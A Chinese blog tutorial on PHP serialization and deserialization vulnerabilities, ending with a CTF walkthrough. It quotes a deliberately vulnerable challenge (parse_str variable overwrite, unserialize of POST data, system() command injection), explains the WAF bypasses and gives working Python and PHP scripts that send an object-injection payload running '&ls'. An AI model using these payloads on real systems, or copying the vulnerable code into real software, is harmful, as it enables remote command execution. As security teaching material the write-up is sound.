PHP反序列化漏洞简介及相关技巧小结

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发布时间：2019-08-12 10:33:16

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要学习PHP反序列漏洞，先了解下PHP序列化和反序列化是什么东西。

php程序为了保存和转储对象，提供了序列化的方法，php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串，但仅保留对象里的成员变量，不保留函数方法。

php序列化的函数为serialize。反序列化的函数为unserialize。

PHP/反序列化/漏洞

序列化

举个栗子：

<?php
class Test{
public$a = 'ThisA';
protected$b = 'ThisB';
private$c = 'ThisC';
publicfunction test1(){
return'this is test1 ';
}
}
$test = new Test();
var_dump(serialize($test));
?>

输出：

解释一下：

O代表是对象;:4表示改对象名称有4个字符;:”Test”表示改对象的名称;:3表示改对象里有3个成员。

接着是括号里面的。我们这个类的三个成员变量由于变量前的修饰不同，在序列化出来后显示的也不同。

第一个变量a序列化后为 s:1:”a”;s:5:”ThisA”;

由于变量是有变量名和值的。所以序列化需要把这两个都进行转换。序列化后的字符串以分号分割每一个变量的特性。

这个要根据分号来分开看，分号左边的是变量名，分号右边的是变量的值。

先看左边的。其实都是同理的。s表示是字符串，1表示该字符串中只有一个字符，”a”表示该字符串为a。右边的同理可得。

第二个变量和第一个变量有所不同，多了个乱码和 * 号。这是因为第一个变量a是public属性，而第二个变量b是protected属性，php为了区别这些属性所以进行了一些修饰。这个乱码查了下资料，其实是 %00(url编码，hex也就是0×00)。表示的是NULL。所以protected属性的表示方式是在变量名前加个%00*%00

第三个变量的属性是private。表示方式是在变量名前加上%00类名%00

可以看到虽然Test类中有test1这个方法，但是序列化后的字符串中并没有包含这个方法的信息。所以序列化不保存方法。

反序列化

<?php
class Test{
public$a = 'ThisA';
protected$b = 'ThisB';
private$c = 'ThisC';
publicfunction test1(){
return'this is test1 ';
}
}
$test = new Test();
$sTest = serialize($test);
$usTest = unserialize($sTest);
var_dump($usTest);
?>

输出：

可以看到类的成员变量被还原了，但是类方法没有被还原，因为序列化的时候就没保存方法。

魔术方法

大概了解了php序列化和序列化的过程，那么就来介绍一下相关的魔术方法。

construct 当一个对象创建时被调用
destruct 当一个对象销毁时被调用
toString 当一个对象被当作一个字符串使用
sleep 在对象被序列化之前运行
wakeup 在对象被反序列化之后被调用

直接举栗子吧：

<?php
classTest{
public function __construct(){
echo 'construct run';
}
public function __destruct(){
echo 'destruct run';
}
public function __toString(){
echo 'toString run';
}
public function __sleep(){
echo 'sleep run';
}
public function __wakeup(){
echo 'wakeup run';
}
}
/**/
echo'new了一个对象，对象被创建，执行__construct';
$test= new Test();
/**/
echo'serialize了一个对象，对象被序列化，先执行__sleep，再序列化';
$sTest= serialize($test);
/**/
echo'unserialize了一个序列化字符串，对象被反序列化，先反序列化，再执行__wakeup';
$usTest= unserialize($sTest);
/**/
echo'把Test这个对象当做字符串使用了，执行__toString';
$string= 'hello class ' . $test;
/**/
echo'程序运行完毕，对象自动销毁，执行__destruct';
?>

输出：

可以看到有一个警告一个报错，是因为__sleep函数期望能return一个数组，而__toString函数则必须返回一个字符串。由于我们都是echo的没有写return，所以引发了这些报错，那么我们就按照报错的来，要什么加什么。

输出：

现在只需要明白这5个魔法函数的执行顺序即可，至于里面的代码就要看程序员或者出题人怎么写了。。。对于__construct函数的话我个人认为好像莫有多大用。。也许是我菜吧。。感觉没有什么地方能在反序列化的时候用上。欢迎大佬指点。

一道题目引发的技巧小结

了解了反序列化的基础和一些魔法函数后，我们来看到题吧。该题不仅考了反序列化，还简单考察了一下变量覆盖和命令注入的正则绕过。其中有一些坑我们可以看一下。

源码很简单：

<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?/n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echos($host){
system("echos $host".$host);
}
function __destruct(){
if (in_array($this->method, array("echos"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo" welcome! ";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo " think about it ";}
}
else
{
echo "NO";
}
}
else
{
echo "Can you hack me? ";
}
?>

拿到源码我们先简单浏览一下，看到parse_str就想到了用变量覆盖来过这些if语句，而parse_str的参数是通过GET请求中的a参数中获得，parse_str进行变量分割的符号是 & 号，没怎么多想就直接先打上一手请求先：

?first=doller&a=var=give&bbb=me&ccc=flag

我原本的意愿是希望这样子被解析

?first=doller&a=var=give&bbb=me&ccc=flag

希望红字是一个整体，是一个字符串，是a这个参数的值。总共的GET参数就两个，一个first一个a。但php解析的是。。。

?first=doller&a=var=give&bbb=me&ccc=flag

即有4个参数，a的值是var=give，但遇到&号在url中就被解析成了GET参数的分割符，认为bbb=me是一个新的GET的参数。

不过好在有URL编码这种东西，可以在这有歧义的时候扭转局势，我们把&号进行URL编码，这样子解析时就会认为是一个字符串了。URL编码可以用php的urlencode函数。得到&的URL编码为%26。构造请求：

?first=doller&a=var=give%26bbb=me%26ccc=flag

看到了欢迎字样：

查看代码，发现到了反序列化的地方了。而反序列化的来源是通过POST提交的come参数

知道了要反序列化，接下来就是确定要反序列化的类了。这个源码就一个类come。对这个类进行审计。

__construct感觉没什么用，先扔在一边，重点看__wakeup和__destruct函数，__wakeup是调用了一个waf函数，用来做正则过滤的，这个我们先放一下，我们看__destruct函数，它使用了call_user_func_array这个php内置的方法，作用是调用一个指定方法。举个这个函数的简单栗子：

第一个参数是要调用的函数，第二个参数是一个数组，用于给调用的函数传参。数组中第一个值就是函数中的第一个参数，以此类推。

但是题目中的call_user_func_array中的第一个参数是个数组，这什么意思呢。。?

数组的话就是数组的第一个元素表示是该方法所在的类，第二个元素就是方法名。

我们来看看这个类的成员变量吧，在可以反序列化后，就要明白这个类中的所有成员变量都是我们可控的，所以call_user_func_array()中的$this->method和$this->args也就是我们可控的。不过由于执行这个函数要通过一个if，且调用的函数必须是本类的函数，那我们就只能看看本类中还有什么方法吧。

我们看看进入call_user_func_array()函数前的if判断，它判断我们要调用的函数名是否在一个允许调用的列表里，而这个列表就只有echos这一个函数，也就是说我们的method变量已经限定死了，必须为echos。

那么我们只能去看看echos函数里有什么了，居然有system函数

那么我们就可以进行命令注入了，可以看到echos函数就只有一个形参，结合上面我们说到的call_user_func_array()函数，就形成了这样一个思路：

通过反序列化控制method和args两个成员变量
method必须是echos不然通不过if判断
通过call_user_func_array()函数第一个参数调用本类中的echos方法，第二个参数给方法传参-
由于echos方法中的system函数的参数是拼接形参的，完成命令注入。

思路有了，那么我们看看args变量要怎么写吧。根据执行顺序，先wakeup再destruct(由于是反序列化的，不会执行construct，只有new才会执行construct)。那么我们看看wakeup中又进行了什么操作

可以看到它默认将args变量视为一个数组，对其进行了foreach，然后又对数组中的每个元素送去了waf进行过滤。这表明我们传入的args是一个数组。

再来看看waf函数是干嘛的。

第一行，正则匹配args的元素，如果元素中出现将斜杠/之间的任意一个字符，就将他们替换为空。这里过滤了|符号，这个有点伤，因为命令中是通过|进行管道的操作，在命令注入时用|进行拼接很有用，不过即使它禁用了，我们还可以通过& 达到多个命令一行执行的目的。

第二行，如果args中的元素中存在flag这个字符串，替换为空，也就是说我们要读取flag文件时要通过双写flag进行绕过。

这里注意一下system函数，有个坑。。。

echo写错写成了echos。。。。即这个命令本身就是错的，所以选择命令的分隔符要慎重。

资料：

是不管前后命令是否执行成功都会执行前后命令
是前面的命令执行成功才能执行后面的命令
是前面的命令执行不成功才能执行后面的命令
管道符

所以我们要使用&符而不能使用&&。

复制这一串序列化字符串到Postman上，然后既然我们都拿到源码了，我们把第2行的error_reporting(0);先注释起来，这个意思是抑制报错，这对我们调试代码很不友好，把报错打开才能更快找到问题所在。

发送payload，emmm…… no responose?

在这里思来想去，折腾了一下，后面通过var_dump才找到问题源头(var_dump大法好)

前面刚说了要注意类型。。。private和protected的变量名前都是有0×00的。。。echo的输出由于是NULL就空过去了，但是没有逃过var_dump的法眼(var_dump大法好)

那么我们就要手动添加0×00上去了，这里可以用python、php等编程语言将0×00转换成字符然后再通过他们自己的网络模块发送，

栗子：

python：(2.7)

通过decode和encode来进行编码

import requests
s = requests.session()
url = "http://192.168.27.144/?first=doller&a=var=give%26bbb=me%26ccc=flag"
n = '00'.decode('hex')
o = 'O:4:"come":2:{s:12:"'+n+'come'+n+'method";s:5:"echos";s:10:"'+n+'come'+n+'args";a:1:{i:0;s:3:"&ls";}}'
r = requests.post(url,data={"come":o})
print(r.text)

php：

通过urldecode进行对%00进行解码

<?php
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,'http://192.168.27.144/?first=doller&a=var=give%26bbb=me%26ccc=flag');
curl_setopt($curl,CURLOPT_POST, 1);
$n = urldecode('%00');
$o = 'O:4:"come":2:{s:12:"'.$n.'come'.$n.'method";s:5:"echos";s:10:"'.$n.'come'.$n.'args";a:1:{i:0;s:3:"&ls";}}';
curl_setopt($curl,CURLOPT_POSTFIELDS, ['come'=>$o]);
curl_exec($curl);
curl_close($curl);
?>

不过有更快的方法。。。直接通过postman的urlencode/urldecode即可。因为0×00也就是url编码中的%00。所以url编码一下就完事。